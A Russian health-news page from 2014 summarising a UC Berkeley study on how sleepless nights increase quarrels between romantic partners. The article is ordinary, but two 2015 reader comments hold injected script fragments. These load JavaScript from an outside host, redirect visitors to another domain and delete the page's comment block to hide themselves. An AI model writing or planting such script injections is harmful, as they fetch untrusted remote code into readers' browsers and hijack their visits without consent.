Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Бессонные ночи делают из ...  >>  Бессонные ночи делают из любимых врагов
 
Обратная связь
 

Бессонные ночи делают из любимых врагов

Размер шрифта
26 февраля 2014 00:00
Юрий Малышев
Здоровье инфо
Полина Калинина
Здоровье инфо
  • google_analytics: false
  • Нравится

Ни для кого не секрет, что проблемы в отношениях могут стать причиной бессонницы. Но согласно новым исследованиям Калифорнийского университета в Беркли, нарушение сна может, в свою очередь, ухудшить отношения с партнером!

Бессонные ночи делают из любимых врагов

Эми Гордон и Серена Чен, психологи из Калифорнийского университета в Беркли, обнаружили, что чаще всего люди ссорятся со своими половинками после бессонной ночи.

«Партнеры, которые чаще ссорятся, менее счастливы и имеют больше проблем со здоровьем по сравнению с более мирными парами, – говорит Гордон. – В нашем исследовании мы выяснили, что недостаток сна ведет к ненужным и подчас серьезным конфликтам в отношениях. Было показано, что чаще всего крупные ссоры между партнерами случались после бессонных ночей».

В ранних исследованиях было доказано, что проблемы со сном неблагоприятно сказываются на романтических отношениях, однако в исследовании Гордон и Чен показано, что нарушение сна снижает способность партнеров избегать конфликтов и достигать компромиссов.

По словам Чен, профессора психологии из Калифорнийского университета в Беркли, это первые данные о том, что недостаток сна может влиять на возникновение, масштабность и исход конфликтов в парах.

Как проходило исследование

В ходе исследования ученые собирали данные о сне более 100 пар, состоявших в отношениях в среднем 2 года. Участники проходили тесты на депрессию, тревожность и другие расстройства, так как ученые хотели исключить данные признаки, чтобы сосредоточиться именно на связи качества сна партнеров и их конфликтов.

На первом этапе исследования 78 участников, состоящих в отношениях, в течение двух недель ежедневно отчитывались о качестве сна и проблемах в отношениях. Было выявлено, что ссоры чаще происходили после плохого ночного сна.

Чен отмечает, что даже у людей, которые практически никогда не испытывали проблем со сном, эпизод бессонницы вызывал ссору с партнером на следующий день.

Во второй части эксперимента 71 пара приходили в лабораторию, отчитывались о ночном сне накануне, а затем обсуждали друг с другом причины своих ссор. После каждый участник оценил степень эмоциональной близости в своей паре в ходе обсуждения конфликтов, а также исход проведенной дискуссии.

Участники, плохо спавшие накануне, и их партнеры чувствовали больше негатива по отношению друг к другу в ходе беседы. Кроме того, недостаток сна приводил к ухудшению способности разрешать конфликты и понимать эмоциональное состояние партнера.

Данное исследование было опубликовано онлайн в «Журнале социальной психологии и науке о личности».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:46

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:44

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Во сколько ложиться спать, чтобы не попасть в аварию? Вы удивитесь!   Как прикорнуть и зарядиться энергией на день   Как выспаться   4 врага сна и как их победить  
03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума? 15 июля 2013Сколько нужно спать, чтобы помнить все
 
11 июля 2013Ворочаетесь по ночам? У вас в два раза больше шансов умереть раньше! 01 ноября 2013ИНВИТРО – «Марка №1» в России
 

Слайдшоу

1
Как провести день, чтобы выспаться
Как студенческая жизнь влияет на здоровье
Что крадет ваш сон

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.